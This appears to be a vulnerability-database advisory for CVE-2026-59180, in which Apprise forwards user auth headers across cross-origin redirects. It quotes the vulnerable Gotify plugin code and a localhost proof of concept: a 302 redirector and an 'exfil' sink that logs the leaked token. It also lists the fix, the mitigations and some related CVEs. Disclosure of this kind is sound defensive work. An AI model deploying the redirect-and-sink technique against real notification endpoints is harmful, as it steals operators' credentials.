CVE-2026-59180Low· 3.1▾ SunlitApprise forwards configured auth headers across cross-origin HTTP redirects
▾ Sunlit zone — Low / medium · no exploitation signal
impact 17.1 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (apprise/attachment/http.py, apprise/config/http.py) follow HTTP 3xx redirects by default and re-send the user-configured auth headers and query parameters on the redirected request. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a 302 Location: to an arbitrary host and Apprise forwards the user's secret (X-Gotify-Key, Authorization, bearer tokens in query, custom +Header= values) to that cross-origin host. The attacker does not need to control the original Apprise URL — only the response from a destination the operator already trusts.
This is the application-layer analogue of urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 ("Proxy-Authorization forwarded across cross-origin redirect").
All releases up to and including v1.10.0 (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes PR #1610 (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).
apprise/plugins/gotify.py (pre-fix HEAD, lines 226-244, verbatim):
headers = {
"User-Agent": self.app_id,
"Content-Type": "application/json",
"X-Gotify-Key": self.token, # user-supplied secret
}
...
r = requests.post(
url,
data=dumps(payload),
headers=headers,
verify=self.verify_certificate,
timeout=self.request_timeout,
# NO allow_redirects=False -- requests default is True
)
requests follows 3xx redirects by default and re-attaches the headers= dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api, and most other HTTP-based plugins), plus in apprise/attachment/http.py and apprise/config/http.py.
# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:8082/exfil")
self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()
# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
print("LEAKED HEADERS:", dict(self.headers))
self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()
# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")
Observed on master HEAD (2026-05-13): attacker_sink.py prints X-Gotify-Key: SECRETTOKEN -- the user-supplied token followed the cross-origin redirect.
Fix landed in caronc/apprise#1610 (merged 2026-05-16, commit 68c0aef):
?redirect=yes|no URL parameter on every plugin URLAppriseAsset.http_redirects global defaultapprise/attachment/http.py and apprise/config/http.pyThe default remains redirects=True for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append ?redirect=no to their Apprise URLs or set AppriseAsset(http_redirects=False) globally.
Released in v1.11.0 (2026-05-29, available on PyPI).
Related:
caronc/apprise-docs#60 (merged 2026-05-16)caronc/apprise-api#331 (merged 2026-05-29; shipped in apprise-api v1.5.1, built on Apprise v1.11.0)Upgrade to Apprise v1.11.0 or later (pip install -U apprise).
The default remains redirect=yes for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set AppriseAsset(http_redirects=False) globally or append ?redirect=no to each plugin URL.
If you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model).
+Header= values are forwarded onto the cross-origin redirected request.CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 LOW.
Attack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.
apprise <= 1.10.0Upgrade to a patched release:
apprise 1.11.0Connected by shared product, vendor, weakness, or advisory.
CVE-2021-39229High· 7.5Apprise vulnerable to regex injection with IFTTT Plugin
CVE-2020-8169High· 7.5curl 7.62.0 through 7.70.0 is vulnerable to an information disclosure vulnerability that can lead to a partial password being leaked over the network and to the DNS server(s).
CVE-2020-17527High· 7.5While investigating bug 64830 it was discovered that Apache Tomcat 10.0.0-M1 to 10.0.0-M9, 9.0.0-M1 to 9.0.39 and 8.5.0 to 8.5.59 could re-use an HTTP request header value from the previous stream received on an HTTP/2 connection for the…
CVE-2022-0235Medium· 6.1node-fetch is vulnerable to Exposure of Sensitive Information to an Unauthorized Actor
CVE-2022-31746Medium· 6.5Internal URLs are protected by a secret UUID key, which could have been leaked to web page through the Referrer header
CVE-2022-0577Medium· 6.5Incorrect Authorization and Exposure of Sensitive Information to an Unauthorized Actor in scrapy